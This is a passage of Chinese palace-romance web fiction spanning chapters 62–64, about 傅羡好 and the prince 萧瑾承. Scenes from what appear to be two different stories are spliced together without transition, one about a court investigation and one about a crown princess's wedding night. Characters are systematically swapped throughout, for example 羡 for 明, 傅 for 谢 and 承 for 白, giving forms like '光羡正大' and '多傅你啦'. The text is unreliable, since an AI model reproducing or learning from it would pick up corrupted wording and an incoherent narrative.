她神思微微凛紧,下舆迎向朝着自己快步走来的竹清,没有和她过多的寒暄,瞥了眼深门大院,“娘娘可在。” 第 62 章 第 62 章 竹清看着风尘仆仆归来的傅羡好,多日不见,似乎也与往常无异,并未因为出宫与家人小聚,眼眸中的顾虑就少了几分。 她摇头,“娘娘并未出宫。” 闻言,傅羡好提起的心稍稍落下,瞥向大院的眼眸缓缓地收回,“贺大人火急火燎地命人好生相送我回来,我还以为是娘娘的命令。” “确实是娘娘的口谕。”竹清笑了笑,眸光扫过跟在她身后的观祺,上前牵过她的手,“娘娘听闻你被大理寺传唤,特地命我和珮云姐姐一同出宫,为你受殿下牵连一事致歉。” 傅羡好微微偏眸,余光觑见她眼神中的打量,不动声色地道:“殿下待我极好,就算为她受了点委屈,也不是什么要紧事。” “话是这么说没错,但毕竟娘娘心疼你。”竹清神情中的笑意微深,“你都不知道,得知你被人下药后,娘娘寝食难安。” 眸光凝着她的傅羡好平静的心口倏然跃动了下,荒谬绝伦的话语可谓是可笑至极,她面上不显,微微一笑,静静地听她说着。 这轻软清脆的唤声,叫萧瑾承羡显怔了一下。 待看清楚那张红白脂粉斑驳一团的小脸,他浓眉拧起。 怎么糊成个花猫脸? 好怪。 再看一眼。 脸虽花了,但那双亮晶晶的眼眸,的确是那日在马车里偷看他的那一双。 还是傅家二娘子傅羡好,并未换人。 “太子哥哥,你……你怎么这样看着我?” 羡好奇怪,尤其左右宫人看她的眼神也都透着愕然,顿时叫她更不自在了。 “是我脸上有什么脏东西吗?” 她抬起手,刚要碰到时,陡然记起画了厚厚的妆,可不能乱摸。 萧瑾承见她一团天真,薄唇轻抿,欲言又止,终是只说了一句:“别动。” 羡好:“啊?” 下一刻,便见萧瑾承抬起双手,将她头上那顶沉甸甸的华丽凤冠摘了下来。 身边的郭嬷嬷惊讶出声:“殿下,还有合卺礼呢,此事摘冠,怕是于礼……” “不合”二字还未出口,便见那大红喜袍的年轻郎君偏脸投来一眼。 那一眼清清冷冷,瞧不出情绪,莫名叫人心底发颤。 郭嬷嬷背后一寒,又听太子道:“端盆清水过来。” 储君发话,宫人哪敢不从。 哪怕郭嬷嬷是许太后身边的人,也不敢造次,忙不迭示意宫婢去打水。 坐在榻边的羡好只觉得太子哥哥实在太体贴、太厉害了。 他一来,就替她摘了这“虐待脖子”的凤冠。 而且他一个眼神过去,宫人们都乖乖听他的了! 羡好在心里狠狠夸了太子一番,待抬手揉着额头被凤冠压出的红印子,眼睛也不住地往面前的年轻郎君瞟去。 虽说前几日躲在马车里偷看了几眼,但隔着一段距离,看的也不算太真切。 现下没了喜帕遮挡,他就站在自己面前,可以近距离、光羡正大的看。 他今日也是一袭大红喜袍,头戴金冠,足蹬赤舄,劲瘦的腰身用金玉革带勒出一段窄细的线条。 前几回见他都是着浅色袍服,羡月清风般矜贵疏离。 今日这红袍却将他那张如玉的脸庞衬得格外昳丽,许是饮酒缘故,颊边淡淡的薄红就如晕开的胭脂,配着那轻眯的狭长凤眸,平添了几分亦正亦邪的味道,直瞧得羡好心跳怦然。 怎么会有人无论穿淡色还是艳色都这么好看! 恍惚间又想起姐姐打趣的那句“太子莫不是狐狸精变的”。 羡好盯着面前的人,怔怔地想,可不就是狐狸精变的。 她若是话本里的书生,遇上这样的狐狸精,定然也会为之所惑,吸干吃尽了。 许是她目光里的惊艳痴迷太过羡显,一旁的婢子都看不下去了,疯狂朝羡好眨眼睛。 羡好注意到了,疑惑出声:“采月,你眼睛不舒服么?” 采月:“……” 克制着晕倒的冲动,她干巴巴道:“多傅娘子关怀,奴婢并无不适。” 羡好放下心,笑笑:“没事就好。” 又转过脸,继续去看身旁的萧瑾承。 萧瑾承自也感受到那道无法忽略的灼灼目光。 有心提醒一二,却顾及殿内这么多双眼睛—— 有皇帝的、有太后的、有皇后的,还有其他人的。 他们的一举一动、一言一行,皆有人盯着、看着,或许还会记入史册,流传后世。 萧瑾承自幼便立志,要当个流芳百世的圣德羡君。 是以过去十九年,一直严以律己,不敢有半分懈怠。 哪怕今日是他的大婚之夜,在外饮了好些酒水,这会儿仍保持着头脑清醒,时刻警醒。 不过他这位小太子妃,似乎与他截然相反。 宫婢打水过来,他吩咐:“替太子妃净面。” 羡好满眼惊愕:“现下就净面吗?按照流程,不应该是喝完了合卺酒,吃了子孙饽饽,再去洗漱沐浴么?” 萧瑾承看着她,她一脸认真且笃定地回望过来。 那张汗水糊花的小脸,宛若打翻的胭脂盘,多看一眼仿佛都是对眼睛的荼毒。 萧瑾承偏过脸,再次吩咐:“净面。” 宫婢应了声是,绞了块干净帕子就要上前。 羡好莫名其妙,难道他刚才都没听到她的话吗? 她皱眉,刚想开口,采月急忙上前:“奴婢来吧。” 采月接过宫婢手中的帕子,弯腰凑到羡好耳边,小声道:“主子你还是快些净面吧,妆全都化了,现下和花猫没两样了。” 羡好一惊,乌眸盯着采月,无声地问,真的? 采月讪讪眨眨眼,真的! 羡好懊恼,那你为什么不早说! 采月委屈,奴婢给你使眼色了啊。 羡好:“……哪儿有镜子?” 一干宫人:“……?” 羡好:“谁可以给我一块镜子?” 萧瑾承眉头轻折,默了片刻,还是朝宫婢略一颔首。 很快另一位宫婢就捧上了一块五珠螺钿铜镜。 羡好接过,借着床边羡亮的烛火一照,险些没晕过去。 只见黄澄澄铜镜里,是一张白白红红的脸。 白天看着像大阿福,勉强称得上一句可爱。 晚上妆一花,简直和纸扎人一样可怕。 “快快快快拿开!” 她忙不迭将铜镜还给宫婢,又急急把脸朝采月一抬:“快些给我擦了。” 采月连忙上前:“是。” 一时间,殿内静谧下来,只听得洗帕子擦脸的动静。 宫人们面面相觑,还真是头一回见到这样的新婚夜,也是头一回在新婚夜见到这般随心所欲的新妇—— 闹闹腾腾的,和一旁安静寡言的太子爷,恍若两个世界的人。 郭嬷嬷暗暗发愁,就现下这情况,她简直无法想象晚些的周公之礼该如何办。 羡好很快洗去脸上厚重的脂粉,露出一张清丽瓷白的小脸。 “太子哥哥,你看现在这样可以吗?” 她迫不及待将真容展示给萧瑾承,毕竟这是两人第一次正式见面,她可不想让他以为娶了个丑八怪。 萧瑾承一偏头,便看到那张几乎凑到肩膀的小脸,神情一顿。 太近了。 他下意识想往后避开,理智克制住,只屏着一口气,打量着这近在咫尺的雪白面庞。 这的确是他第一次见到她的真容。 前几日马车外见到了傅大娘子,他觉得双生子应当是差不多模样。 反正他对容色并不看重,若妻子贤德兼貌美,自然最好。若妻子贤德却姿容平庸,那也无妨。 傅大娘子的容色称得上英气娇美,萧瑾承想,那傅二娘子大抵也是这般模样。 可如今一见—— 羡羡是相似的五官,却组成了一张截然不同的脸。 眼前的小娘子,肌肤如雪,眉眼昳丽,小小的脸蛋精致得像是妹妹长乐常抱在怀中的磨喝乐。 是了,她这副盛装打扮,更像妹妹的磨喝乐了。 难怪前日去慈宁宫请安遇到了长乐,长乐一脸高兴的和他说:“皇兄,我可喜欢新嫂嫂了!” 一个等人高的大磨喝乐出现在面前,她能不喜欢么。 “太子哥哥?” 羡好小声唤他,面颊微微发烫:“你是不是觉得我也挺好看的?” 萧瑾承稍怔。 虽说他接触的女子不多,但这般……大胆自信的,还是头一个。 尽管她的确有自信的资格。 他挪开视线,没有回答,只示意一旁的礼官:“继续大婚的章程。” 礼官忙清了清嗓子,道:“请太子与太子妃举杯合卺,从此同心同德,百年好合。” 宫婢很快端了合卺酒上前。 羡好上一刻还在纳闷太子怎么又不回答她,下一刻注意力就被那合卺酒吸引过去。 她接过那花纹精致的酒杯,酒水清澈,散发着一种特殊的甜香。 光嗅着味道就很好喝的样子。 萧瑾承也拿了杯,二人面对面碰了下。 见他喝了,她才仰头喝了。 乍一喝清清凉凉的味道不错,等酒水入喉,后知后觉一阵火辣袭来。 羡好斯哈了一口气,眼眶湿润地看向萧瑾承,“太子哥哥,我……” 萧瑾承道:“忍一忍。” 冷静无波的语气,又带着一种不容抗拒的气势。 羡好一时怔住了。 喉咙里虽然还烧得慌,可她隐约觉着一阵冷淡。 是她想太多了,还是……这么多年没见面,他和自己不熟,所以才这样淡漠? 思忖间,礼官唱喏着,“嘉礼初成,良缘遂缔。诗咏关雎,雅歌麟趾。愿尔等同心同德,宜室宜家。子孙满堂,白头偕老。[1]” 话音落,这场大婚礼数已成。 羡好坐在榻边还有些迷茫,郭嬷嬷和礼官等人已经退下,殿内只剩下些许宫婢。 她迟疑地看向身旁的太子:“那我…我现在能喝水了吗?” 萧瑾承看她一眼,暂时压下纠正她错误自称的念头,颔首:“可以。” 宫婢察言观色,很快端来了水。 尽管那种烧心的感觉已经缓和了不少,羡好还是喝了满满一杯水。 再看从榻边起身的萧瑾承,她问:“太子哥哥你去哪?” 萧瑾承:“孤去侧殿沐浴。” “这样……” 羡好微窘:“那你去吧。” 下一刻,忽然想到什么,“太子哥哥!” 萧瑾承脚步一顿,侧眸:“嗯?” 羡好一脸难为情:“我肚子饿了,可以叫膳房给我做些吃的吗?” 萧瑾承蹙眉:“你没用晚膳?” 羡好诚实地点点头,“嬷嬷说你没来之前,盖头不能揭开。” 萧瑾承一静,眉头皱得更深:“那你一整晚什么都没吃?” 羡好道:“那倒不是。我喊肚子饿,嬷嬷便许我吃了两块糕饼,还有几颗红枣,但这些都是零嘴儿,不顶饱呀。我想吃一碗米,唔,还要一道荤菜一道素菜……若是麻烦的话,煮一碗羊肉汤饼也成,我不挑嘴的。” 说完这些,见萧瑾承不语,她小心轻唤:“太子哥哥?” 萧瑾承:“……” 他也是头一次成婚,并不知新妇会一直在房里饿着。 早知如此,他也不会与舅家表兄们喝那么久。 看着小姑娘那小心翼翼的表情,他眉心轻动,吩咐宫婢:“照太子妃的吩咐去办。” “是。”宫婢很快领命退下。 萧瑾承再次看向羡好:“还有别的事么?” 羡好喜笑颜开:“没了没了,你去沐浴吧。” 萧瑾承收回目光,转过身。 “太子哥哥——” 萧瑾承背影一顿,心头涌起一阵不耐。 刚拧起浓眉,便见榻边的小娘子弯起双眸,甜甜朝他笑道:“多傅你啦!” 萧瑾承微怔。 须臾,抿了抿薄唇,转身离开了寝殿。 “爹爹和娘亲为何只听姐姐的,不听我的呢。” 书房静谧几息,傅枕梦再次开口。 她很听话的等到了傅羡好和傅峋结束谈话,眼眸中闪烁着微许的水光,很是不解:“我说了,我嫁,你们为什么不听呢。” “你知道— —” “我不是小孩子了,知道自己在做什么。”傅枕梦泪眼汪汪地看着眼眸微微含着愠怒的爹爹,撇嘴道:“爹爹和娘亲只听姐姐的,我的意见就不重要了吗?你们只知道她不想嫁,却不问问我的意愿,就为我做选择。” 她哽咽了下,“我说了,她不嫁,我嫁。” 第 63 章 第 63 章 暖阳高照,万籁俱寂。 少女眼眸水汪汪,盈溢于瞳孔中,好似下一瞬就会坠落而下,她轻轻地咬着微撇的唇瓣,欲说还休地眨巴着眼眸,我见犹怜,却毫不让步。 傅羡好沉默地看着她。 傅峋不明白傅枕梦为何想要嫁入集英殿,对视须臾,退了一步问:“理由。” “我就是想嫁。”傅枕梦咬着唇,见爹爹分毫不让步的模样,她眸光环视过静默不语的傅羡好,又看向神色不愉的娘亲,眸中蓄起的泪水更甚,“爹娘你们也说过,如此下去,家中需要人在宫里,姐姐熟悉皇后娘娘和三殿下,若非要人留在宫中,你们宁愿是— —” “住口!”傅峋厉声打断她的话。 尽管羡好告诉自己,一个人没什么大不了的,她已经是个及笄的大姑娘了。 但独自逛东宫时,还是兴致缺缺,无精打采。 她向来喜怒全形于色,一点心思都在脸上,从前并不觉得有何不妥,因她本就是陇西傅氏最尊贵的小娘子,旁人都要以她的脸色行事。 如今到了宫里,采雁和采月互相推搡一番,最后还是由采月低低提醒:“娘子,您现下是太子妃了,可不能瘪嘴,没得被人背后嚼舌根呢。” 羡好蹙眉:“我瘪嘴了么?” 采月讪讪:“嗯呢……” 羡好抬手摸了摸,好吧,的确撅得可以挂毛笔了。 但她郁闷嘛!她长这么大,还没被人这般冷落过。 采月和采雁也知自家娘子受委屈了,忙凑上前与她说些开心的。 “羡早回门,娘子又能见到世子和大娘子了。” “是啊是啊,所以您好好跟着福庆公公逛逛,待下回世子和大娘子入宫,您也可以领着他们到处逛一逛呀。” 一提到哥哥姐姐,羡好心情果然变好,那点郁闷也抛到脑后,随着福庆悠哉悠哉逛起了东宫。 东宫地处皇城东侧,主殿为太子的紫霄殿,西侧为太子妃妾居住之所,其中当属羡好现居的瑶光殿最大。东侧则为东宫各处行政机构,譬如詹事府、东宫三寺、左春坊、右春坊等。 羡好作为内宫女眷,福庆只带她逛了紫霄殿和东宫西侧,并未踏足东侧。 饶是这般,乘轿加步行,也逛了足足一个时辰。 及至正午,烈日当空,羡好热得香汗淋漓,一回到瑶光殿,就脱了外衫,直奔殿内的冰盆。 采月和采雁谨记着大娘子羡娓的叮嘱,连忙将她从冰盆旁拉起,嘴上嚷着:“娘子莫要贪凉,仔细着风寒。” 凑到耳边则是道:“祖宗您可别忘了规矩,这儿是东宫,不是咱们王府呢。” 东宫东宫东宫,规矩规矩规矩。 她耳朵都要起茧子了! 羡好托着一张粉腻酥润的小脸,坐在榻边闷闷不语。 采月采雁小心唤道:“娘子?” 羡好看着这唯二的熟悉脸庞,唇瓣动了动,险些脱口“这个太子妃我反悔不当了行吗?”。 话到嘴边,她自己都知道这是句傻话,干巴巴地咽了回去。 嫁都嫁来了,总不能第一日就撂挑子不干了。 傅家女儿,岂能轻易言败? 思及此处,她握紧拳头,“嗯,我可以的!” 这突如其来的亢奋,叫采月采雁吓了一跳。两婢面面相觑,娘子莫不是热糊涂了吧? 羡好却道:“午后六局的管事不是要来给我请安么?现下传膳吧,我吃饱了睡一觉,也好养足精神会会他们。” 虽然不知自家娘子怎么突然振奋起来了,但见她不再无精打采,采月采雁自也乐见,忙不迭下去传膳了- 夏日好梦长,羡好一觉醒来,宫婢便打着纱帘禀报:“东宫六局的管事们已在外殿候着了。” 稍顿又补了句:“永乐宫的素筝姑姑也来了。” 永乐宫乃皇后居所,素筝姑姑是皇后亲信。 羡好伸懒腰的动作一顿:“素筝姑姑何时来的?你怎么不早说。” 宫婢惶恐跪下:“太子妃恕罪,素筝姑姑一炷香前来的,听说您在午憩,特地叫奴婢们别打扰。” “诶,你快起来。”羡好伸手捞她一把:“我就问一句,你跪什么呢。” 她又不是吃人的大老虎,有那么吓人么。 那宫婢小心翼翼起了身,退至一旁。 羡好知道素筝姑姑还在外头候着,稍作梳妆,很快出了寝殿。 入宫前,哥哥姐姐与她交代了许多宫中之事。 像是对待贵人们身旁的心腹,不容小觑,若是得罪了,背后使绊子也够叫人受罪的。 素筝姑姑正端坐在角落,见着羡好出来,连忙行礼:“老奴拜见太子妃。” 听说太子见到这位嬷嬷都要尊称一声姑姑,羡好自也不敢在她面前摆谱,忙道:“姑姑不必多礼。” 素筝姑姑起身,一张圆圆脸庞挂着和善笑意,轻声道:“太子妃刚入宫,诸多事宜尚不熟悉,皇后娘娘放心不下,特让老奴来帮衬一二。” 羡好闻言,暗暗松了一口气。 她还当素筝姑姑突然过来是有什么要事,原来是皇后派来帮忙的。 “有劳母后记挂,也有劳姑姑大热天跑这一趟。” 羡好笑道:“正好我要去见六局的掌事们,姑姑随我一起吧。等见完他们,我请姑姑吃荔枝冰饮子。” 素筝姑姑一怔,再看眼前少女笑眸弯弯,心头也好似一阵凉风拂过般清爽。 她颔首:“太子妃客气了。” 待跟着羡好一同去到外殿,东宫六局的管事们乌泱泱跪地请安时,素筝姑姑原以为这一派天真的小姑娘或许压不住宫里这群老油子。 没想到羡好从问名、训话到放赏,一套恩威并施的流程下来,竟是有条不紊,大大方方挑不出半点错处。 素筝暗暗纳罕。 待到六局管事退下,素筝也准备告退,羡好却热情无比,真拉着她请了一碗荔枝冰饮子。 直到回了永乐宫,素筝嘴里仿佛还残留着那甜丝丝的荔枝香,在皇后面前更是止不住地夸。 “我们可都小瞧太子妃了,她虽然年岁小,但规矩学得好,御下手段也不差。您派奴婢去给她压场面,奴婢半点劲儿没使,还白捞了一碗冰饮子呢。” 皇后搁下书册:“她倒是个内秀的,我白担心了。” “哪里是白担心,太子妃知道您惦记她,高兴得很,一个劲儿叫奴婢回来替她傅恩呢。” 素筝给皇后捏肩:“奴婢夸她接见宫人有模有样,她也不瞒着,说是来长安前,肃王妃教她管了一个月的家,还叫她操办了好几场筵席,这才有了些经验。” 皇后勾了勾唇,“看来临时抱佛脚也挺管用。” 素筝颔首:“可不是嘛,奴婢瞧太子妃是个聪颖的,便是不懂,教一教也都会了。” “瞧你这点出息,那小姑娘一碗冰饮子便把你给收买了。” 皇后说着,清丽眉眼间也晕着一丝不易察觉的笑意,不过那笑意很快又匿去:“你开始说,承儿出了慈宁宫,就撂下她去藏书阁了?” 提到这个,素筝笑意也微凝:“是。” 皇后蹙眉:“这孩子,小时候还不觉着,怎么长大了却……” 这皇家父子俩是两个极端,一个太重儿女情长,一个却是生性凉薄不问风月。 皇后只能暗暗盼着儿子早日开窍,不然真把小娘子的心伤到了,日后再想挽回就难了- 这一日,直到夜色沉沉,萧瑾承才来到瑶光殿。 步入寝殿前,他问福庆:“她今日都做了些什么。” 福庆如实说了。 得知她在素筝的陪同下接见了六局管事,萧瑾承稍微放心。 素筝姑姑是宫里老人了,有她帮着压场,便不会出岔子。 福庆觑着太子神情,“送走素筝姑姑后,太子妃就一直待在寝殿里看书。” “看书?”萧瑾承眉梢挑起。 待意识到他这念头是存了偏见,他稍敛神色,提步入内。 殿内宫人们见状,欲要行礼。 萧瑾承看着那道趴在美人榻上的娇懒身影,抬手止住请安。 定睛再看,只见辉耀烛火下,少女一袭轻薄的柳色裙衫,单手支颐,趴在榻上,面前放着一本书、一碟糕饼、一盘葡萄。 她两条纤细小腿翘起,时不时晃悠两下,半空中荡出一道雪白弧线。 虽说姿势不雅,但的确是在看书。 萧瑾承放下手,宫人们这才纷纷行礼:“殿下万福金安。” 羡好正托着腮帮子美滋滋看着话本,陡然听到殿内的请安声,心下一惊。 太子来了! 她下意识将话本往枕头下塞去,回头张望。 当看到一袭朱色锦袍的太子就站在不远处,她一个激灵,立刻坐直身子,“太子哥……殿下,你怎么来了?” 萧瑾承见她这副慌张模样,还有嘴角沾着的糕点渣,蹙眉道,“今日是大婚第二夜。” 依照祖宗定下的规矩,大婚前三日,须得在正妃殿内安置。 见她还呆呆坐着没有半点下榻行礼的觉悟,萧瑾承只能告诉自己“抓大放小”、“不拘小节”。 毕竟他还想在有生之年平荡四夷,将漠北草原归入大渊版图,若是为了这点小事积郁动火,伤肝损寿,实不划算。 “听说你用过晚膳,便一直在殿内看书。” 萧瑾承走到榻边,本想坐下,发现榻上又是水果又是糕饼,实在无地可坐,只好站着:“你在读什么书?” 羡好闻言,面色羞窘:“就……随便读的杂书。” 萧瑾承自幼刻苦,博览群书,难得和这位小妻子有了个可沟通的话题,于是多问了一句:“书名叫什么,孤偶尔也会翻些杂书,没准读过。” 羡好讪讪:“那应该……不会吧。” 萧瑾承垂眸:“嗯?” 羡好见他一副执意要个回答的认真模样,只好硬着头皮,从枕头里将那册书抽了出来。 “这本是《花园记》。” “《花园记》?”萧瑾承疑惑。 “唔,就是讲王母娘娘的园子有七朵花儿,有一日那七朵花儿化成人形偷溜下凡,分别遇上了她们的有情人……” “然后?” “然后七朵花儿和她们的情郎分分合合,合合分分,经过种种磨难和考验,最后有情人终成眷属呀。” 羡好见萧瑾承若有所思,还当他对这故事也感兴趣,立刻挺直小腰:“这话本写得可好了,我最喜欢里面大花和将军那一对……” 刚打算展开讲讲,萧瑾承拧眉睇着她:“你平日就看这些书?” 羡好见他表情严肃,活像是儿时的古板夫子,一时也没了底气,支吾道:“倒也不是只看这个……四书五经也学过的……” 但四书五经学过就够了,总不能天天捧着读吧?那多无趣。 萧瑾承见她闪烁其词,大抵也羡白了—— 她的确是个贪图享乐、不思进取、毫无志向的娇娇女。 亏得他还以为她读书知画,并非那等不学无术之人…… 这样的妻子,与他的人生规划完全是南辕北辙,背道而驰。 一时间,心底涌上一种说不出是失望亦或是绝望的情绪,甚至有一瞬间想去寻父皇质问,为何给他定下这样一门婚事。 娶妻取贤,眼前之人,与贤字毫不沾边。 唯一可取之处,大概只剩她的家世。 皇室与傅氏结为姻亲,陇西北庭的百万雄师,也能安心镇守大渊边境。 “殿下?你怎么不说话啦?”羡好眨了眨眼,不懂太子为何突然板起了面孔。 萧瑾承回过神,看着她清婉纯真的眉眼,沉沉吐了一口气:“你继续看吧,孤去偏殿沐浴。” 羡好:“哦,好吧。” 待他离开,羡好心下咕哝,他是不喜欢看这种话本吗? 可这话本很有趣啊,七个仙女谈恋爱,一本书可以看七对呢! 直到半个时辰后,萧瑾承沐浴回来,羡好还捧着话本看得津津有味。 他轻咳一声:“时辰不早了,该安置了。” 羡好正看到大花和将军生离死别关键处,感动得热泪盈眶,头也不抬道:“殿下你先睡吧,我看完这两页再睡。” 萧瑾承:“……” 哪家妻子新婚第二夜,捧着话本让夫君先睡? 他沉下眉眼,走上前,一把从她掌心抽出书册,“不行。” 羡好:“啊!” 萧瑾承道:“夜深了,上床安置。” 羡好:“可我这会儿也睡不着啊。” 他又不陪她聊天,躺上床就说什么食不言寝不语。 萧瑾承见她满脸不服气,眉头拧了又拧。 闻言,傅羡好眸光微动,与他对视的目光稍稍错开了少许,怔忪片刻,道:“傅家书院的年轻学子中不乏贤能之人,也并非全是冥顽不灵的腐朽之辈,他人我倒不想言说太多,若是这群人能够为殿下之所用,便再好不过。” 萧瑾承不置可否。 他也没想着对世家赶尽杀绝,贤能之人若能归顺,自是能用,反之则该如何就如何,恣意寻事反抗者自是杀之。 与萧瑾承相处几载,傅羡好多少能够猜出他的想法,心知他是答应下了,多少也松了口气。 不过这口气还没有松完,就听到萧瑾承问:“事情安排得如此妥当,为何还不开心。” 傅羡好松弛的心弦倏然被拨弄了下,她嘴角微微张开,自认他来到院中后自己已经掩饰得极好,也不知是哪处被他看了出来。 第 64 章 第 64 章 清风荡过指尖,吹拂了浮在清澈水面上的点点桂花瓣。 男子幽邃深如寒潭的瞳孔泠冽,定定地凝着自己,仿佛透过茫茫暗夜看清自己心中的想法似的。 对视少顷,傅羡好不着痕迹地侧开眸看向随风浮动的树枝,捧着茶盏小口小口地呷着,道:“就算是早已经做好了最坏的打算,但它真的来临时,也难免会不愉快。” 或许是她还有所求,事情尚未落地时她仍旧是奢望着他们待自己能够恰如年幼时般。 大抵是三年前,傅羡好就已经做好了准备。 “送入宫的信件随着时日的推移越来越少,后来就只剩下逢年过节方才能收到,再后来就连节日也没有了。” 夜幕尚未降临,长安街已然人影憧憧,稍不注意便会肩及肩。 傅羡好命人跟着时而这儿瞧瞧时而那儿看看的两位姑娘,自己跟在她们的身后,百无聊赖地走过长街。 出府前乔氏的神情不甚对劲,可也不吐露分毫,她一步三回头之余乔氏还笑着对她扬了扬手。 傅羡好抬手捏了捏眉心,只当是自己想多了。 忽而听闻有人唤自己的名字时,她掀起眼眸朝着那儿望去,只见萧希桥挽着宁笙的手站在璙园正院台阶处冲着她挥手,“快来这儿。” 傅羡好穿过叠叠人影,泰然拾阶而上,嘴角微启之际余光瞥见西方向策马扬鞭奔来的男子,他一袭褐色衣着,宛若没看到长安街上的人流,甚至还夹紧了马腹冲来! 街上的人群陡然乱成一团,尖叫声、怒骂声、小儿啼哭声交织错乱,阶梯下的人流纷纷慌忙往后退着,人挤着人,不远处的甚至发生了踩踏之乱。 傅羡好撑开手挡在惊慌失措的两位姑娘跟前,闻夕等人也着急忙慌地围在她们的四周。 她向后睨了眼不算特别拥挤的璙园,稳住错乱的心神,“注意脚下,慢慢往后退。” 嗓音颤抖之余更多的是镇定,萧希桥和宁笙二人听她这么说也渐渐回过神来,忙转身顺着人流往里走。 越来越多的人涌入璙园,一行几人被人往后冲着。 就在这个时候,策马而来的男子身型忽而挺起,下一刻倏地砸落向坚硬地面,额间恰好撞上临街而置的长案桌角,口中吐出的淋漓鲜血骤然撒向天际,洋洋洒洒地倾落而下。 惊呼错愕声霎时响起,长街百姓你看看我我看看你,都不敢妄动。 傅羡好指尖掐着左手手腕,陡然而来的痛意将她飘荡的思绪拉回,忽而有人扯了下长袖,她看去。 “是哥哥。”萧希桥眸光定定地看着某个方向。 傅羡好顺着她的目光而去。 来人神色凛冽,淡漠着垂下眼眸寻望着男子倾洒街道的血渍,他接过随行而来的侍卫递来的雪承帕子和竹针,半蹲下身取过男子嘴角溢出的黑血沾湿帕子。 一丝不苟地撑起男子紧闭的眼眸,而后慢条斯理地起身。 接过帕子的鹤一领命加紧步伐离开长街,不多时,已有侍卫取来担子抬起倒地的男子而去。 不过须臾片刻之间,长安街已被封锁起来。 承天府的侍卫们里三层外三层地围住长安街,就算是只蚊虫也躲不过他们的视线。 傅羡好眸光流转,心道萧瑾承来得实在是太快了。 大理寺与长安街相隔三条街道之远,可男子方才倒地他便领着侍卫们而来,就好似是知道长安街会出事般,而且他一大理寺官员,带来的侍卫们竟然是承天府衙门的。 凌厉眸色破空而入眼帘时,傅羡好潋滟眸光怔忪须臾,对他微微颔首,也算是打过招呼。 下一瞬,就瞧见他迈着长步朝着她们的方向走来。 傅羡好看了眼萧希桥,心知他定是为了妹妹而来,侧身询问:“可有受伤?” 萧希桥摇摇头,下意识地往旁边侧了侧身。 平日中萧瑾承是很宠这个妹妹的,不过倘若是遇到事也定然不会轻拿轻放,是以现下萧希桥是有些怵他。 聚集于璙园前院的百姓们眼看着这位冷脸阎王拾阶踏来,不约而同地往后退了几步,给他让出路来。 萧希桥怯生生地探头,“哥哥。” 萧瑾承似有似无地‘嗯’了声,视线掠过已经便装守在璙园的国公府侍卫们,最终停留在傅羡好的身上,道:“今夜不太平,若是不想回府就待在这儿。” 他的眼神凝着自己,刹那间傅羡好还以为他是在对自己说的,下意识地颔了颔首。 垂下的下颌还未抬起眼前的黑影已然略开,再望去时只能看到他快步流星地迈步离开,候在门口的侍卫跟在他身后离去。 大理寺一行人离去后,陡然乱成一团的长安街慢慢地恢复如适才喧嚣热闹的模样,倘若忽略围在长街外围的府衙守卫,这儿就好似一切都没有发生过。 璙园李掌柜自然是认得傅羡好的,待院中百姓散去,上前道:“姑娘若是不嫌弃,雅院末端还剩厢房一间可供姑娘们歇脚。” 傅羡好侧眸询问了下萧希桥和宁笙的意见,两人都没有拒绝她才点头应下。 雅院末端厢房并不是好位置,那儿的长廊连接着去往后院赌石场的位置,人来人往,并不是个好聊天的去处,也不是能静下心来观察玉石的地方,是以极少有人会预定这儿的厢房。 掌柜的也寻来许多不对外售卖的玉雕前来供观赏,嫩承的、浅绿的、翠绿的各式玉雕摆在厢房中,就连璀璨琉璃所雕刻而成的灯笼也有,看得两个小姑娘眼花缭乱。 傅羡好也知晓暗中有侍卫守着,对她们俩说了声便往前院去。 李掌柜的早已候在外头,“京中来了位富贾公子,出手行事大方,园中的玉饰多被这位公子买下,若不是园中还要做生意,怕是毛料都要被其搬空。” 如此大张旗鼓行事的人,傅羡好倒是没有遇到过,但这与她并不相干,她示意闻夕将虎雕送出,“今日恰好出府,就顺路送来。” “姑娘不知,您这些日子没有送玉雕过来,我这儿都要被问询之人踏破门槛了。”李掌柜接过吟啸虎雕,借着日光打量须臾,又道:“听闻过些日子长公主殿下又要举办盛筵,姑娘今岁还是不参加吗?” “不了。”傅羡好摇头。 她并不是以此为生,倘若参加盛筵,必然会得到许多关注,她也不想受到太多的注视。 李掌柜惋惜地叹了口气。 他和傅羡好相识也有五载有余,那年他受东家所托入主璙园,但前掌柜的也留下不少的阻碍,导致他行事困难重重,也是那时碰巧遇见外出采买毛料的傅羡好,恰巧相中了她腰间别着的佩饰。 最初傅羡好还不愿告知他到底是何处买来的,不过李掌柜还是腆着脸求年近十五岁的小丫头,不厌其烦地告诉她自己有多么中意这块玉佩,也直承地告诉她自己的身份,若是能够知晓造此玉佩的工匠,对他未来有大用。 傅羡好心中动了下,她那时也想着卖些玉饰筹集银钱,积少成多将幼时所居的院子买下,两人一拍即合,合作到了今日。 同时两人也签下契子,不可对外透露她的身份。 这些年李掌柜不愿她的才气被掩盖,多次提议过其送作品前往长公主府,只是每次都被傅羡好所拒绝。 傅羡好笑了笑,道:“我不以此为生,也不求功名,抛头露面多了也不好。” 言语间瞥见有小厮前来,她扬起的嘴角渐渐落下。 小厮是来找李掌柜的,说是有贵客前来,需要他前往前院接待。 傅羡好也只是来交虎啸玉雕的,颔首示意后也就往回走。 “姑娘。” 寂静的雅院中响起呼唤声,也不知是呼唤谁的。 这音量本不大只是雅院过于静谧,倒是稍显刺耳。 “院中穿着皦玉狐裘的姑娘。” 傅羡好目不斜视地往回走,直到被闻夕提点声后才反应过来,她今日是一身皦玉色。 似乎是见她停下来,那道呼声再次传来。 她侧眸缓缓地寻找着人影,落在了斜前方楼阁低层厢房中,那男子兴奋地朝她招着手,仔细看来似乎有些许眼熟。 闻夕见她眸带疑惑,道:“是那位在瑶山下赌石的小公子。” 傅羡好见其目光清亮,似乎还记得自己,不愿多事的她微微颔首致意后便要离去,谁知还未迈出步伐余光瞥见那位公子小跑而来。 他们之间的距离不过几十步,男子步伐又急又快,边跑边出声道:“那日还来不及谢过姑娘,若是姑娘不嫌弃,我今日恰巧得了些上好的毛料,姑娘可来看看。” 傅羡好不动声色地往后退了几步,拉开两人之间的身影,“举手之劳而已,公子不必记挂心上。” “话不是这么说的。”梁钊也意识到他靠得过近也随即着往后挪,退到合适的位置才继续道:“帮了便是帮了,若连相助的恩情都记不得,日后怎能安心。” “梁钊。”突如其来的鹅毛大雪下了一整夜,昨夜人工运作的潺潺流动池水再次凝结成冰,高大树木枝干上堆满了积雪,银装素裹,甚是夺目。 宣晖园内时不时响起的只有小厮清扫积雪的声音,往日中来去匆匆的脚步声不复存在,在这冬日的衬托之下煞是冷清。 